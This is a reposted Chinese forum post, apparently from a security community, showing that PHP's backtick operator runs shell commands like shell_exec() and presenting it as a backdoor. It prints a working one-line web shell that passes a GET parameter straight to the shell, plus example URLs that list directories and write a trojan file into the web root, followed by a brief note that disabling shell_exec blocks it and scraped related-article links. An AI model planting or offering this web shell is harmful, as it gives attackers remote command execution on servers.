PHP 中 shell_exec() 中的反撇号操作符的变体 可用作后门
发现这个也是巧合,我就直接说了吧
<?php
//t.php
$test = $_GET['r'];
echo `$test`;
?>
大家看看这个代码有木有问题?
我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,
而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键 感叹号!旁边的,
通过 echo `系统命令`; 可以达到 system(); 一样的效果
如果不信的朋友可以测试
http://127.0.0.1/t.php?r=dir 可以列出目录
http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php
大家觉得我没有忽悠 就赏点分哈
我用 apmserv 和虚拟主机已经测试成功。
转自:http://www.90sec.org/thread-1592-1-1.html
相关资料:
真相其实是这样的,其实 shell_exec 就是 `` 的变体,实际上完全等于 shell_exec,禁用这个函数就不行。
这个就是在 php 里面 ` 会被当做执行语句!
shell_exec() 命令行实际上仅是反撇号 ` 操作符的变体,如果您编写过 shell 或 Perl 脚本,您就知道可以在反撇号操作符内部捕捉其他命令的输出。官方有的。。
参考链接:
http://www.yunsec.net/a/security/web/jbst/2012/0229/10182.htm
http://ahack.iteye.com/blog/1884135
转载于:https://blog.51cto.com/norman20000/1224501
PHP 中 shell_exec() 中的反撇号操作符的变体 可用作后门相关推荐
- linux bash中的引号:单双引号、反撇号
双引号和单引号的区别 反撇号不能用于命令嵌套
- shell双引号、单引号、反撇号的使用
1.命令和文件自动补全 Tab键 2.常见快捷键 ^c 终止前台运行的程序^z 将前台运行的程序挂起到后台^d 退出 等价exit^l 清屏 ^a |home 光标移到命令行的最前端^e |end 光 ...
- ES6新增——反撇号(`)基础知识
转载--https://www.infoq.cn/article/es6-in-depth-template-string ES6 引入了一种新型的字符串字面量语法,我们称之为模板字符串(templa ...
- PHP用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)执行外部命令...
例如: echo `whoami`; // 导出数据库,要导入的文件夹必须要有可写权限, -u -p之后的内容必须要紧挨着写 echo `mysqldump -h localhost -u$DbUse ...
- 关于perl中的反勾号(``),system和exec
关于perl中的反勾号(``),system和exec 在perl中反勾号(``),system和exec都用来执行命令,这篇文章将给我们介绍它们各自的使用方法,联系,以及区别. 一.使用方法 1. ...
- perl中的反勾号(``),system和exec
在perl中反勾号(``),system和exec都用来执行命令,这篇文章将给我们介绍它们各自的使用方法,联系,以及区别. 一.使用方法 1. 反勾号(``) 首先,我们有命令输入操作符, ...
- php 号和冒号,关于php:漂亮链接中的撇号和冒号
我正在寻找解决列出书名的"漂亮链接"或"永久链接"的问题,例如: http://www.example.com/title/The-Catcher-in-the ...
- 导出excel此单元格中的数字为文本格式,或者其前面有撇号
前言: 无论大家使用的是java,js,.net等技术导出excel,都会出现下面的问题. 这篇文章只提供解决思路,以及用easyexcel导出 的处理方式,其他技术大家可以举一反三. 1.导出exc ...
- 为什么wps数字前面有撇号_excel表格中数据前有撇号-Excel 如何去除数字前面的撇号...
Excel此单元格中的数字为文本格式,或者前面有撇号... 很多人都回答用分列的方法,这种方法只适用于数字前面去掉撇号,原文本格式改成数字格式,如"0123"会变成"12 ...
最新文章
- 大一计算机期末考试高数试卷,高等数学大一期末试卷(A)及答案
- MindMotion ISP 协议 PDF版本
- Fiddler之为什么我没有抓到网络请求的js链接
- 5分钟即可使用25年的Linux
- 用汇编的眼光看C++(之 总结篇)
- MySQL 5.7原生JSON格式支持
- HDU2073 无限的路【数学】
- Lisp编制的坡度标注_形位公差自动标注的ATUOLISP程序设计(Ⅰ)
- word修改正文样式影响标题样式
- 手写一个springboot的starter
- 三只松鼠上半年营收41亿:净利降77% IDG一年套现超12亿
- 研究了一堆英语学习软件,发现了一个美国宝藏口语App,国内也能用!
- 一种更优雅的蓝牙配对技术 - Cross-transport key derivation (CTKD)
- CAD、3dmax等Autodesk系列软件安装报错1603解决办法
- 四川农业大学计算机科学技术专业,四川农业大学计算机系简介
- 2345浏览器怎么换主页 2345浏览器换主页教程
- 图书借阅java设计报告_JAVA课程设计报告图书借阅系统.pdf
- 主流币仍被摁在地上摩擦,平台币已扬起一场美丽的春梦
- android 百度全景,“android-panosdk | 百度地图API SDK
- 冬季给孩子熬粥有讲究